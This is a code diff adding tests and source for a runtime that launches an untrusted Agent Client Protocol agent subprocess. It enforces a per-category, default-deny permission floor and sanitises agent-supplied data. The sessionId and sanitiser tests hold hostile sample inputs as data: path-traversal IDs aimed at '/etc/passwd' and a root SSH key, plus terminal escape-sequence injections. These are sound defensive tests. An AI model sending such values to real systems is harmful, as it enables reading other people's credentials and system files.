const child = track(spawn(process.execPath, ["-e", "setTimeout(()=>{},50)"]));
registerProcess(child);
expect(activeProcessCount()).toBe(1);
await waitForExit(child);
// allow the 'exit' handler to run
await new Promise((r) => setTimeout(r, 20));
expect(activeProcessCount()).toBe(0);
});
it("killAllProcesses reaps survivors and clears the registry", async () => {
killAllProcesses();
const a = track(spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"]));
const b = track(spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"]));
registerProcess(a);
registerProcess(b);
expect(activeProcessCount()).toBe(2);
killAllProcesses();
expect(activeProcessCount()).toBe(0);
await Promise.all([waitForExit(a), waitForExit(b)]);
expect(a.killed || a.exitCode !== null).toBe(true);
expect(b.killed || b.exitCode !== null).toBe(true);
});
});
describe("forceKill", () => {
it("no-ops on an already-dead process", async () => {
const child = track(spawn(process.execPath, ["-e", ""]));
await waitForExit(child);
expect(() => forceKill(child)).not.toThrow();
});
});
describe("spawnAgent", () => {
it("registers on spawn and unregisters on exit", async () => {
killAllProcesses();
const child = track(
spawnAgent({
binaryPath: process.execPath,
args: ["-e", "setTimeout(()=>{},30)"],
cwd: process.cwd(),
env: {},
}),
);
expect(activeProcessCount()).toBe(1);
await waitForExit(child);
await new Promise((r) => setTimeout(r, 20));
expect(activeProcessCount()).toBe(0);
});
it("unregisterProcess removes a tracked child", () => {
killAllProcesses();
const child = track(spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"]));
registerProcess(child);
expect(activeProcessCount()).toBe(1);
unregisterProcess(child);
expect(activeProcessCount()).toBe(0);
});
});

View File

@@ -0,0 +1,35 @@
import { describe, it, expect } from "vitest";
import { buildPromptBlocks } from "../prompt-builder.js";
describe("buildPromptBlocks", () => {
it("turns a plain string into a single text block", () => {
const blocks = buildPromptBlocks("hello world");
expect(blocks).toEqual([{ type: "text", text: "hello world" }]);
});
it("emits no text block for an empty string", () => {
expect(buildPromptBlocks("")).toEqual([]);
});
it("emits no text block for a whitespace-only string", () => {
expect(buildPromptBlocks(" \t\n ")).toEqual([]);
});
it("appends image blocks after the text block", () => {
const blocks = buildPromptBlocks("describe this", {
images: [{ data: "AAAA", mimeType: "image/png", uri: "file:///a.png" }],
});
expect(blocks).toEqual([
{ type: "text", text: "describe this" },
{ type: "image", data: "AAAA", mimeType: "image/png", uri: "file:///a.png" },
]);
});
it("omits the uri field when not provided on an image", () => {
const blocks = buildPromptBlocks("", {
images: [{ data: "BBBB", mimeType: "image/jpeg" }],
});
expect(blocks).toEqual([{ type: "image", data: "BBBB", mimeType: "image/jpeg" }]);
expect(blocks[0]).not.toHaveProperty("uri");
});
});

View File

@@ -0,0 +1,96 @@
import { describe, it, expect, afterEach } from "vitest";
import { fileURLToPath } from "node:url";
import {
connect,
IncompatibleProtocolError,
HandshakeTimeoutError,
createDefaultClientHandler,
} from "../provider.js";
import { killAllProcesses, activeProcessCount } from "../process-manager.js";
const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url));
afterEach(() => {
killAllProcesses();
});
function baseOpts(extraEnv: Record<string, string> = {}) {
return {
binaryPath: process.execPath,
args: [FIXTURE],
cwd: process.cwd(),
env: extraEnv as NodeJS.ProcessEnv,
advertiseFs: { read: false, write: false },
initializeTimeoutMs: 10_000,
};
}
describe("connect() handshake", () => {
it("completes initialize against the echo fixture and exposes conn", async () => {
const conn = await connect(baseOpts());
try {
expect(conn.conn).toBeDefined();
expect(typeof conn.conn.newSession).toBe("function");
expect(conn.authMethods).toEqual([]);
expect(conn.agentCapabilities).toMatchObject({ loadSession: false });
expect(conn.child.pid).toBeGreaterThan(0);
} finally {
conn.dispose();
}
});
it("surfaces non-empty authMethods when the agent requires auth", async () => {
const conn = await connect(baseOpts({ ACP_FIXTURE_REQUIRE_AUTH: "1" }));
try {
expect(conn.authMethods.length).toBeGreaterThan(0);
expect(conn.authMethods[0]).toHaveProperty("id");
} finally {
conn.dispose();
}
});
it("throws IncompatibleProtocolError on a version mismatch and kills the child", async () => {
await expect(
connect(baseOpts({ ACP_FIXTURE_PROTOCOL_VERSION: "999" })),
).rejects.toBeInstanceOf(IncompatibleProtocolError);
// child must have been disposed; nothing left in the registry
expect(activeProcessCount()).toBe(0);
});
it("rejects with HandshakeTimeoutError when the agent never responds, and kills the child", async () => {
await expect(
connect({ ...baseOpts({ ACP_FIXTURE_HANG_INITIALIZE: "1" }), initializeTimeoutMs: 300 }),
).rejects.toBeInstanceOf(HandshakeTimeoutError);
expect(activeProcessCount()).toBe(0);
});
it("rejects with a missing-binary (ENOENT) error for a nonexistent binary", async () => {
await expect(
connect({
binaryPath: "/nonexistent/acp-agent-does-not-exist",
args: [],
cwd: process.cwd(),
env: {} as NodeJS.ProcessEnv,
advertiseFs: { read: false, write: false },
initializeTimeoutMs: 2000,
}),
).rejects.toMatchObject({ code: "ENOENT" });
expect(activeProcessCount()).toBe(0);
});
it("dispose() removes the registry entry and kills the child", async () => {
const conn = await connect(baseOpts());
expect(activeProcessCount()).toBe(1);
conn.dispose();
expect(activeProcessCount()).toBe(0);
// idempotent
expect(() => conn.dispose()).not.toThrow();
});
it("default client handler cancels permission requests and no-ops updates", async () => {
const handler = createDefaultClientHandler();
await expect(handler.sessionUpdate({} as never)).resolves.toBeUndefined();
const res = await handler.requestPermission({} as never);
expect(res).toEqual({ outcome: { outcome: "cancelled" } });
});
});

View File

@@ -0,0 +1,129 @@
// U5 — provider integration of the permission floor + cancel-drain.
//
// Exercises `createBridgingClientHandler(callbacks, gate)`: its
// `requestPermission` delegates to the per-category resolver, and `cancelPending`
// drains in-flight requests so the agent never deadlocks on teardown (KTD4a).
import { describe, it, expect } from "vitest";
import type {
PermissionOption,
RequestPermissionRequest,
RequestPermissionResponse,
ToolKind,
} from "@agentclientprotocol/sdk";
import { createBridgingClientHandler } from "../provider.js";
import type { GateDisposition, PermissionGate } from "../types.js";
const ALL_OPTIONS: PermissionOption[] = [
{ optionId: "allow_once_id", name: "Allow once", kind: "allow_once" },
{ optionId: "allow_always_id", name: "Allow always", kind: "allow_always" },
{ optionId: "reject_once_id", name: "Reject once", kind: "reject_once" },
{ optionId: "reject_always_id", name: "Reject always", kind: "reject_always" },
];
function req(kind: ToolKind | undefined, id = "tc-1"): RequestPermissionRequest {
return {
sessionId: "sess-1",
toolCall: { toolCallId: id, kind } as RequestPermissionRequest["toolCall"],
options: ALL_OPTIONS,
};
}
const UNRESTRICTED: Record<string, GateDisposition> = {
git_write: "allow",
file_write_delete: "allow",
command_execution: "allow",
network_api: "allow",
task_agent_mutation: "allow",
};
function gate(rules: Record<string, GateDisposition>): PermissionGate {
return { permissionPolicy: { rules } };
}
function selectedId(res: RequestPermissionResponse): string | undefined {
return res.outcome.outcome === "selected" ? res.outcome.optionId : undefined;
}
describe("createBridgingClientHandler — requestPermission delegates to the gate", () => {
it("answers allow_once for an allow category (risk acknowledged)", async () => {
const { handler } = createBridgingClientHandler(
{},
gate({ ...UNRESTRICTED, command_execution: "allow" }),
undefined,
{ allowUnrestricted: true },
);
const res = await handler.requestPermission(req("execute"));
expect(selectedId(res)).toBe("allow_once_id");
});
it("escalates a sensitive allow to deny without the unrestricted acknowledgement (S1)", async () => {
const { handler } = createBridgingClientHandler(
{},
gate({ ...UNRESTRICTED, command_execution: "allow" }),
);
const res = await handler.requestPermission(req("execute"));
expect(selectedId(res)).toBe("reject_once_id");
});
it("default-denies (reject_once) when no gate is supplied", async () => {
const { handler } = createBridgingClientHandler({});
const res = await handler.requestPermission(req("read"));
expect(selectedId(res)).toBe("reject_once_id");
});
it("honors a per-category block under an otherwise-unrestricted policy", async () => {
const { handler } = createBridgingClientHandler({}, gate({ ...UNRESTRICTED, command_execution: "block" }));
const res = await handler.requestPermission(req("execute"));
expect(selectedId(res)).toBe("reject_once_id");
});
});
describe("cancel drain (KTD4a — no permission deadlock)", () => {
it("resolves two in-flight permission requests as cancelled and answers later requests cancelled immediately", async () => {
// A require-approval category with a pause that NEVER resolves on its own —
// the only way these complete is the cancel drain.
let pauseCount = 0;
const blockingGate: PermissionGate = {
permissionPolicy: { rules: { ...UNRESTRICTED, command_execution: "require-approval" } },
createApprovalRequest: async () => ({ id: "appr" }),
findApprovalByDedupeKey: async () => null,
pauseForApproval: () =>
new Promise<void>(() => {
pauseCount += 1;
/* never resolves */
}),
};
const { handler, cancelPending } = createBridgingClientHandler({}, blockingGate);
const p1 = handler.requestPermission(req("execute", "tc-1"));
const p2 = handler.requestPermission(req("execute", "tc-2"));
// Let both reach the blocking pause.
await Promise.resolve();
await Promise.resolve();
expect(pauseCount).toBe(2);
cancelPending();
const [r1, r2] = await Promise.all([p1, p2]);
expect(r1.outcome.outcome).toBe("cancelled");
expect(r2.outcome.outcome).toBe("cancelled");
// A request arriving AFTER cancel is answered cancelled immediately.
const r3 = await handler.requestPermission(req("execute", "tc-3"));
expect(r3.outcome.outcome).toBe("cancelled");
});
it("cancelPending is idempotent", async () => {
const { handler, cancelPending } = createBridgingClientHandler(
{},
gate({ ...UNRESTRICTED, command_execution: "allow" }),
);
cancelPending();
cancelPending();
const res = await handler.requestPermission(req("execute"));
expect(res.outcome.outcome).toBe("cancelled");
});
});

View File

@@ -0,0 +1,193 @@
import { describe, it, expect, afterEach, vi } from "vitest";
import { fileURLToPath } from "node:url";
import {
connect,
newAcpSession,
promptAcpSession,
cancelAcpSession,
loadAcpSession,
createBridgingClientHandler,
type AcpConnection,
} from "../provider.js";
import { buildPromptBlocks } from "../prompt-builder.js";
import { killAllProcesses } from "../process-manager.js";
const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url));
afterEach(() => {
killAllProcesses();
});
function baseOpts(extraEnv: Record<string, string> = {}) {
return {
binaryPath: process.execPath,
args: [FIXTURE],
cwd: process.cwd(),
env: extraEnv as NodeJS.ProcessEnv,
advertiseFs: { read: false, write: false },
initializeTimeoutMs: 10_000,
};
}
async function open(extraEnv: Record<string, string> = {}): Promise<AcpConnection> {
return connect(baseOpts(extraEnv));
}
describe("session driving helpers", () => {
it("newAcpSession opens a session and returns a sessionId", async () => {
const conn = await open();
try {
const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
expect(typeof sessionId).toBe("string");
expect(sessionId.length).toBeGreaterThan(0);
} finally {
conn.dispose();
}
});
it("promptAcpSession resolves with end_turn for a normal turn", async () => {
const conn = await open();
try {
const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
const stopReason = await promptAcpSession(conn, sessionId, buildPromptBlocks("hello"));
expect(stopReason).toBe("end_turn");
} finally {
conn.dispose();
}
});
it("cancelAcpSession releases a mid-turn prompt with the cancelled stop reason", async () => {
const conn = await open({ ACP_FIXTURE_HANG_PROMPT: "1" });
try {
const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
const promptPromise = promptAcpSession(conn, sessionId, buildPromptBlocks("hello"));
// Give the turn a tick to register the hang before cancelling.
await new Promise((r) => setImmediate(r));
await cancelAcpSession(conn, sessionId);
const stopReason = await promptPromise;
expect(stopReason).toBe("cancelled");
} finally {
conn.dispose();
}
});
it("cancelAcpSession swallows errors (fire-and-forget)", async () => {
const conn = await open();
try {
const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
conn.dispose(); // kill the child so cancel cannot round-trip
await expect(cancelAcpSession(conn, sessionId)).resolves.toBeUndefined();
} finally {
conn.dispose();
}
});
it("loadAcpSession uses session/load when the agent advertises loadSession", async () => {
const conn = await open({ ACP_FIXTURE_LOAD_SESSION: "1" });
try {
expect(conn.agentCapabilities).toMatchObject({ loadSession: true });
const result = await loadAcpSession(conn, {
sessionId: "prior-session-id",
cwd: process.cwd(),
});
// session/load echoes back the requested id (no fresh id minted).
expect(result.sessionId).toBe("prior-session-id");
} finally {
conn.dispose();
}
});
it("bridging client handler surfaces a rich prompt turn's updates onto callbacks (U4)", async () => {
const onText = vi.fn<(t: string) => void>();
const onThinking = vi.fn<(t: string) => void>();
const onToolStart = vi.fn<(name: string, args?: unknown) => void>();
const onToolEnd = vi.fn<(name: string, isError: boolean, result?: unknown) => void>();
const conn = await connect({
...baseOpts({ ACP_FIXTURE_RICH_PROMPT: "1" }),
clientHandler: createBridgingClientHandler({ onText, onThinking, onToolStart, onToolEnd }).handler,
});
try {
const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
const stopReason = await promptAcpSession(conn, sessionId, buildPromptBlocks("go"));
expect(stopReason).toBe("end_turn");
// The SDK prompt promise resolves only after all updates are delivered.
expect(onText.mock.calls.map((c) => c[0]).join("")).toBe("Working on it.");
expect(onThinking).toHaveBeenCalledWith("Let me think about this.");
expect(onToolStart).toHaveBeenCalledWith("Run tests", { command: "pnpm test" });
expect(onToolEnd).toHaveBeenCalledWith("Run tests", false, { exitCode: 0 });
// The plan surfaces as a thinking line.
expect(onThinking.mock.calls.some((c) => String(c[0]).includes("Fix the bug"))).toBe(true);
} finally {
conn.dispose();
}
});
it("loadAcpSession falls back to newSession when loadSession is not advertised", async () => {
const conn = await open(); // loadSession defaults false
try {
expect(conn.agentCapabilities).toMatchObject({ loadSession: false });
const result = await loadAcpSession(conn, {
sessionId: "prior-session-id",
cwd: process.cwd(),
});
// Fresh session: a new id is minted, not the prior one.
expect(result.sessionId).not.toBe("prior-session-id");
expect(result.sessionId.length).toBeGreaterThan(0);
} finally {
conn.dispose();
}
});
});
describe("sessionId untrusted-input bounding (U6 / Risk S7)", () => {
// A fake connection that returns a malicious agent-supplied sessionId so we can
// assert the helper normalizes it before it is ever stored / path-joined —
// without spawning a real agent.
function fakeConn(sessionId: string, opts?: { loadSession?: boolean }): AcpConnection {
const conn = {
newSession: vi.fn(async () => ({ sessionId, modes: undefined })),
loadSession: vi.fn(async () => ({ modes: undefined })),
};
return {
conn: conn as unknown as AcpConnection["conn"],
child: {} as AcpConnection["child"],
agentCapabilities: { loadSession: opts?.loadSession === true },
authMethods: [],
stderr: () => "",
dispose: () => {},
};
}
it("normalizes a sessionId containing path separators from session/new", async () => {
const conn = fakeConn("../../etc/passwd");
const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
expect(sessionId).not.toContain("/");
expect(sessionId).not.toContain("..");
});
it("bounds an absurdly long agent sessionId", async () => {
const conn = fakeConn("s".repeat(100_000));
const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
expect(sessionId.length).toBeLessThanOrEqual(256);
});
it("normalizes the resume id passed to loadAcpSession", async () => {
const conn = fakeConn("ignored", { loadSession: true });
const { sessionId } = await loadAcpSession(conn, {
sessionId: "../../../root/.ssh/id_rsa",
cwd: process.cwd(),
});
expect(sessionId).not.toContain("/");
expect(sessionId).not.toContain("..");
// The normalized id must also be what is forwarded over the wire to
// loadSession() — not the raw traversal string.
const loadSessionMock = conn.conn.loadSession as unknown as ReturnType<typeof vi.fn>;
expect(loadSessionMock).toHaveBeenCalledTimes(1);
const sentId = loadSessionMock.mock.calls[0][0].sessionId as string;
expect(sentId).toBe(sessionId);
expect(sentId).not.toContain("/");
expect(sentId).not.toContain("..");
});
});

View File

@@ -0,0 +1,98 @@
import { describe, it, expect, afterEach } from "vitest";
import os from "node:os";
import { fileURLToPath } from "node:url";
import { AcpRuntimeAdapter } from "../runtime-adapter.js";
import { killAllProcesses, activeProcessCount } from "../process-manager.js";
import type { AcpSession, AgentRuntimeOptions } from "../types.js";
const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url));
afterEach(() => {
killAllProcesses();
});
function makeAdapter(extra: Record<string, unknown> = {}) {
return new AcpRuntimeAdapter({
acpBinaryPath: process.execPath,
acpArgs: [FIXTURE],
acpModel: "echo-agent",
...extra,
});
}
function makeOptions(over: Partial<AgentRuntimeOptions> = {}): AgentRuntimeOptions {
return {
cwd: process.cwd(),
systemPrompt: "be helpful",
...over,
};
}
describe("AcpRuntimeAdapter (U3)", () => {
it("createSession spawns + opens a session with a real sessionId", async () => {
const adapter = makeAdapter();
const { session } = await adapter.createSession(makeOptions());
try {
expect(session.sessionId.length).toBeGreaterThan(0);
expect((session as AcpSession).connection).toBeDefined();
expect(session.lastModelDescription).toBe("acp/echo-agent");
} finally {
await adapter.dispose(session);
}
});
it("createSession persists actionGateContext and cwd on the session", async () => {
const adapter = makeAdapter();
const gate = { permissionPolicy: { rules: { command_execution: "allow" as const } } };
// cwd must be a real, spawnable directory (it is the subprocess cwd too).
const cwd = os.tmpdir();
const { session } = await adapter.createSession(
makeOptions({ cwd, actionGateContext: gate }),
);
try {
// Both reachable from the session object for the U5/U7 handlers to read.
expect((session as AcpSession).gate).toBe(gate);
expect(session.cwd).toBe(cwd);
} finally {
await adapter.dispose(session);
}
});
it("promptWithFallback drives a full turn to completion", async () => {
const adapter = makeAdapter();
const { session } = await adapter.createSession(makeOptions());
try {
await expect(adapter.promptWithFallback(session, "hello")).resolves.toBeUndefined();
} finally {
await adapter.dispose(session);
}
});
it("dispose tears down the subprocess and is idempotent", async () => {
const adapter = makeAdapter();
const { session } = await adapter.createSession(makeOptions());
expect(activeProcessCount()).toBe(1);
await adapter.dispose(session);
expect(activeProcessCount()).toBe(0);
// second dispose must not throw
await expect(adapter.dispose(session)).resolves.toBeUndefined();
expect(activeProcessCount()).toBe(0);
});
it("promptWithFallback rejects when the session has no live connection", async () => {
const adapter = makeAdapter();
await expect(
adapter.promptWithFallback({ sessionId: "x" } as never, "hi"),
).rejects.toThrow(/no live connection/);
});
it("describeModel returns the session model description", async () => {
const adapter = makeAdapter();
const { session } = await adapter.createSession(makeOptions());
try {
expect(adapter.describeModel(session)).toBe("acp/echo-agent");
} finally {
await adapter.dispose(session);
}
});
});

View File

@@ -0,0 +1,113 @@
import { describe, it, expect } from "vitest";
import {
stripControlSequences,
boundString,
boundIdentifier,
DEFAULT_IDENTIFIER_MAX,
TRUNCATION_MARKER,
} from "../sanitize.js";
describe("stripControlSequences", () => {
it("removes CSI/SGR ANSI color escapes", () => {
const input = "\x1b[31mred\x1b[0m text";
expect(stripControlSequences(input)).toBe("red text");
});
it("removes OSC sequences (title-set injection)", () => {
const input = "before\x1b]0;malicious title\x07after";
expect(stripControlSequences(input)).toBe("beforeafter");
});
it("removes bare ESC and cursor-move escapes", () => {
const input = "a\x1b[2Jb\x1b[Hc";
expect(stripControlSequences(input)).toBe("abc");
});
it("drops C0/C1 control chars and DEL but keeps \\n and \\t", () => {
const input = "line1\nline2\tend\x00\x07\x7f\x9b";
expect(stripControlSequences(input)).toBe("line1\nline2\tend");
});
it("returns empty string for non-string / empty input", () => {
expect(stripControlSequences("")).toBe("");
// @ts-expect-error intentionally wrong type
expect(stripControlSequences(undefined)).toBe("");
// @ts-expect-error intentionally wrong type
expect(stripControlSequences(123)).toBe("");
});
it("leaves clean printable text untouched", () => {
expect(stripControlSequences("hello world 123 #$%")).toBe("hello world 123 #$%");
});
});
describe("boundString", () => {
it("returns input unchanged when within max", () => {
expect(boundString("short", 100)).toBe("short");
});
it("truncates and appends the marker when over max", () => {
const out = boundString("a".repeat(100), 50);
expect(out.length).toBe(50);
expect(out.endsWith(TRUNCATION_MARKER)).toBe(true);
});
it("never exceeds max length", () => {
const out = boundString("x".repeat(1000), 20);
expect(out.length).toBeLessThanOrEqual(20);
});
it("handles max <= marker length by hard slice", () => {
const out = boundString("abcdefgh", 3);
expect(out).toBe("abc");
});
it("returns empty for non-positive max or empty/non-string input", () => {
expect(boundString("abc", 0)).toBe("");
expect(boundString("abc", -5)).toBe("");
expect(boundString("", 10)).toBe("");
// @ts-expect-error intentionally wrong type
expect(boundString(undefined, 10)).toBe("");
});
});
describe("boundIdentifier", () => {
it("replaces path separators so the id cannot escape into a path", () => {
const out = boundIdentifier("../../etc/passwd");
expect(out).not.toContain("/");
expect(out).not.toContain("\\");
expect(out).not.toContain("..");
});
it("normalizes backslash separators and traversal", () => {
const out = boundIdentifier("..\\..\\windows\\system32");
expect(out).not.toContain("\\");
expect(out).not.toContain("..");
});
it("strips NUL bytes and control chars", () => {
const out = boundIdentifier("sess\x00ion\x1b[31mid");
expect(out).not.toContain("\x00");
expect(out).not.toContain("\x1b");
expect(out).toContain("session");
});
it("bounds length to the default cap", () => {
const out = boundIdentifier("s".repeat(10_000));
expect(out.length).toBe(DEFAULT_IDENTIFIER_MAX);
});
it("honors an explicit max", () => {
expect(boundIdentifier("abcdefgh", 4)).toBe("abcd");
});
it("passes a clean opaque id through unchanged", () => {
expect(boundIdentifier("sess-1234-abcd")).toBe("sess-1234-abcd");
});
it("returns empty for empty / non-string input", () => {
expect(boundIdentifier("")).toBe("");
// @ts-expect-error intentionally wrong type
expect(boundIdentifier(undefined)).toBe("");
});
});

View File

@@ -0,0 +1,25 @@
import { describe, it, expect } from "vitest";
import * as acp from "@agentclientprotocol/sdk";
// U1 gating verification (KTD2): the integration is built on a day-old SDK.
// These assertions fail the build if a load-bearing export is missing or
// reshaped, surfacing a breaking change at U1 rather than deep in U2.
describe("@agentclientprotocol/sdk export surface", () => {
it("exposes ClientSideConnection as a constructable", () => {
expect(typeof acp.ClientSideConnection).toBe("function");
});
it("exposes ndJsonStream as a function", () => {
expect(typeof acp.ndJsonStream).toBe("function");
});
it("exposes PROTOCOL_VERSION as the integer 1", () => {
expect(typeof acp.PROTOCOL_VERSION).toBe("number");
expect(acp.PROTOCOL_VERSION).toBe(1);
});
it("exposes the client/agent method maps used for routing", () => {
expect(acp.CLIENT_METHODS).toBeDefined();
expect(acp.AGENT_METHODS).toBeDefined();
});
});

View File

@@ -0,0 +1,45 @@
import { describe, it, expect } from "vitest";
import { toolDisplayName, normalizeToolArgs } from "../tool-mapping.js";
describe("toolDisplayName", () => {
it("prefers an explicit title", () => {
expect(toolDisplayName({ title: "Run tests", kind: "execute" })).toBe("Run tests");
});
it("falls back to a label derived from kind when title is missing", () => {
expect(toolDisplayName({ kind: "execute" })).toBe("Execute");
expect(toolDisplayName({ kind: "read" })).toBe("Read");
expect(toolDisplayName({ kind: "switch_mode" })).toBe("Switch Mode");
});
it("treats an empty/whitespace title as missing", () => {
expect(toolDisplayName({ title: " ", kind: "edit" })).toBe("Edit");
expect(toolDisplayName({ title: "", kind: "fetch" })).toBe("Fetch");
});
it("falls back to 'tool' when both title and kind are absent", () => {
expect(toolDisplayName({})).toBe("tool");
expect(toolDisplayName({ title: null, kind: null })).toBe("tool");
});
it("falls back to 'tool' for an unknown kind", () => {
expect(toolDisplayName({ kind: "mystery" as never })).toBe("tool");
});
});
describe("normalizeToolArgs", () => {
it("returns the object when rawInput is a plain object", () => {
expect(normalizeToolArgs({ command: "ls" })).toEqual({ command: "ls" });
});
it("returns {} for undefined / null", () => {
expect(normalizeToolArgs(undefined)).toEqual({});
expect(normalizeToolArgs(null)).toEqual({});
});
it("returns {} for non-object / array inputs", () => {
expect(normalizeToolArgs("string")).toEqual({});
expect(normalizeToolArgs(42)).toEqual({});
expect(normalizeToolArgs([1, 2, 3])).toEqual({});
});
});

View File

@@ -0,0 +1,61 @@
// Resolves the ACP agent launch configuration from plugin settings.
//
// Unlike the Claude/Droid CLIs (one fixed binary per plugin), ACP is a protocol:
// the user points this runtime at *any* ACP-compatible agent binary plus the
// flag that puts it in ACP mode (e.g. `gemini --acp`). Settings therefore carry
// an arbitrary binary + args, plus the conservative-by-default fs capability
// toggles (KTD6: writes default OFF) and an env allow-list (KTD6b).
export interface AcpCliSettings {
/** Agent binary to spawn (e.g. "gemini", "npx", an absolute path). */
binaryPath: string;
/** Arguments that launch the agent in ACP/stdio mode (e.g. ["--acp"]). */
args: string[];
/** Optional model identifier reported via describeModel. */
model?: string;
/** Advertise `fs/read_text_file` capability. Default: false (opt-in). */
fsRead: boolean;
/** Advertise `fs/write_text_file` capability. Default: false (opt-in, KTD6). */
fsWrite: boolean;
/**
* Environment variables to forward to the agent subprocess (KTD6b allow-list).
* The agent is untrusted; inherited `process.env` is NOT forwarded. Empty by
* default — callers opt specific vars in by name.
*/
envAllowList: string[];
/**
* Risk S1 acknowledgement. The shipped default permission policy is
* `unrestricted` (every category → allow). Because the ACP agent is an
* untrusted subprocess, the permission floor refuses to auto-approve a
* *sensitive* category on a blanket `allow` disposition unless the user has
* explicitly acknowledged that risk by setting this true — otherwise such
* calls are escalated to approval (or denied when no approver exists).
* Default: false (safe).
*/
allowUnrestricted: boolean;
}
function asTrimmedString(value: unknown): string | undefined {
return typeof value === "string" && value.trim().length > 0 ? value.trim() : undefined;
}
function asStringArray(value: unknown): string[] | undefined {
if (!Array.isArray(value)) return undefined;
const out = value.filter((v): v is string => typeof v === "string");
return out.length === value.length ? out : undefined;
}
function asBool(value: unknown): boolean {
return value === true;
}
export function resolveCliSettings(settings?: Record<string, unknown>): AcpCliSettings {
const binaryPath = asTrimmedString(settings?.acpBinaryPath) ?? "acp-agent";
const args = asStringArray(settings?.acpArgs) ?? [];
const model = asTrimmedString(settings?.acpModel);
const fsRead = asBool(settings?.acpFsRead);
const fsWrite = asBool(settings?.acpFsWrite);
const envAllowList = asStringArray(settings?.acpEnvAllowList) ?? [];
const allowUnrestricted = asBool(settings?.acpAllowUnrestricted);
return { binaryPath, args, model, fsRead, fsWrite, envAllowList, allowUnrestricted };
}

View File

@@ -0,0 +1,301 @@
// U5 — the SECURITY FLOOR for `session/request_permission`.
//
// The ACP agent is an UNTRUSTED subprocess. When it asks permission to run a
// tool call, this resolver classifies the call PER-CATEGORY against Fusion's
// live action gate and answers `allow_once` / `reject_once` / `cancelled`.
//
// Why per-category and not per-preset (S1 / KTD3a): Fusion's shipped default
// policy preset is `unrestricted` (every category → allow). Mapping a preset id
// straight to an outcome would auto-approve EVERY tool call of an untrusted
// agent the instant a user selects the ACP runtime. So we classify the call's
// `kind` into a Fusion category and read `gate.permissionPolicy.rules[category]`.
//
// Default-deny is the floor everywhere a decision can't be made safely:
// - no gate / no permissionPolicy → deny
// - an unmappable / missing / `other` kind → deny (most-restrictive)
// - `require-approval` with no HITL machinery → deny
// - the `allow_once` option isn't offered → reject (never `*_always`, S2)
import type {
PermissionOption,
RequestPermissionResponse,
ToolCallUpdate,
ToolKind,
} from "@agentclientprotocol/sdk";
import type {
ApprovalStatus,
FusionCategory,
GateDisposition,
PermissionGate,
} from "./types.js";
/** Sentinel returned by `classifyToolKind` for an unmappable kind → force deny. */
export const DENY = "deny" as const;
/**
* Map an ACP `toolCall.kind` to a Fusion action-gate category (KTD3a).
*
* Read-only / benign kinds map to the implicit `exempt` category (always allow).
* `other`, `undefined`, and any unknown kind map to the `DENY` sentinel — the
* most-restrictive outcome — and MUST NOT fall through to allow.
*/
export function classifyToolKind(kind: ToolKind | null | undefined): FusionCategory | "exempt" | typeof DENY {
switch (kind) {
case "execute":
return "command_execution";
case "edit":
case "delete":
case "move":
return "file_write_delete";
case "fetch":
return "network_api";
case "read":
case "search":
case "think":
case "switch_mode":
return "exempt";
// "other", undefined, null, or anything unknown → most-restrictive deny.
default:
return DENY;
}
}
/**
* Select the ACP option to answer with, honoring the allow_once-ONLY rule (S2).
*
* - `allow` → an option whose `kind === "allow_once"`. Never `allow_always`
* (delegating a blanket grant to untrusted code loses Fusion's per-call
* interception). If no `allow_once` option is offered → fall back to deny.
* - `deny` → an option whose `kind === "reject_once"`. If none is offered the
* caller answers `{ outcome: "cancelled" }`. Never `reject_always`.
*/
export function selectOption(
decision: "allow" | "deny",
options: PermissionOption[],
): { decision: "allow" | "deny"; optionId?: string } {
const list = Array.isArray(options) ? options : [];
if (decision === "allow") {
const allowOnce = list.find((o) => o?.kind === "allow_once");
if (allowOnce?.optionId) return { decision: "allow", optionId: allowOnce.optionId };
// No allow_once offered: do NOT up-grade to allow_always. Fall back to deny.
const rejectOnce = list.find((o) => o?.kind === "reject_once");
return { decision: "deny", optionId: rejectOnce?.optionId };
}
const rejectOnce = list.find((o) => o?.kind === "reject_once");
return { decision: "deny", optionId: rejectOnce?.optionId };
}
/** Build the ACP response for a resolved {decision, optionId}. */
function buildResponse(sel: {
decision: "allow" | "deny";
optionId?: string;
}): RequestPermissionResponse {
if (sel.optionId) {
return { outcome: { outcome: "selected", optionId: sel.optionId } };
}
// No usable option (e.g. deny with no reject_once offered) → cancelled.
return { outcome: { outcome: "cancelled" } };
}
/**
* Read the raw per-category disposition from the live policy (exempt → allow),
* before the Risk S1 acknowledgement escalation. Callers that gate untrusted
* actions should use `effectiveDisposition` (which applies the escalation); this
* is the unescalated primitive it builds on.
*/
export function dispositionFor(
category: FusionCategory | "exempt",
gate: PermissionGate,
): GateDisposition {
if (category === "exempt") return "allow";
const rules = gate.permissionPolicy?.rules;
const disposition = rules?.[category];
// A category with no explicit rule is treated as require-approval (not allow):
// never silently allow an unmapped category for an untrusted agent.
return disposition ?? "require-approval";
}
/** A stable dedupe key for an identical tool call (decision reuse). */
function dedupeKeyFor(toolCall: ToolCallUpdate, category: string): string {
return [toolCall.toolCallId ?? "", category, toolCall.title ?? ""].join("|");
}
/**
* Run the human-in-the-loop approval flow for a `require-approval` category.
*
* Requires `createApprovalRequest` (the one non-optional HITL closure). When it
* is absent there is no human channel → DEFAULT-DENY (never throw, never allow).
*
* Flow: reuse a prior decision via `findApprovalByDedupeKey` when present;
* otherwise register the request, block on `pauseForApproval`, re-read the final
* status, finalize via `markApprovalCompleted`. `approved` → allow; everything
* else (denied / pending / completed / lookup-failure) → deny.
*/
async function runApproval(
toolCall: ToolCallUpdate,
category: FusionCategory,
gate: PermissionGate,
): Promise<"allow" | "deny"> {
return runApprovalForCategory(gate, {
category,
toolName: toolCall.title ?? category,
dedupeKey: dedupeKeyFor(toolCall, category),
args:
toolCall.rawInput && typeof toolCall.rawInput === "object"
? (toolCall.rawInput as Record<string, unknown>)
: {},
});
}
/**
* Run the HITL approval flow for an arbitrary `require-approval` action,
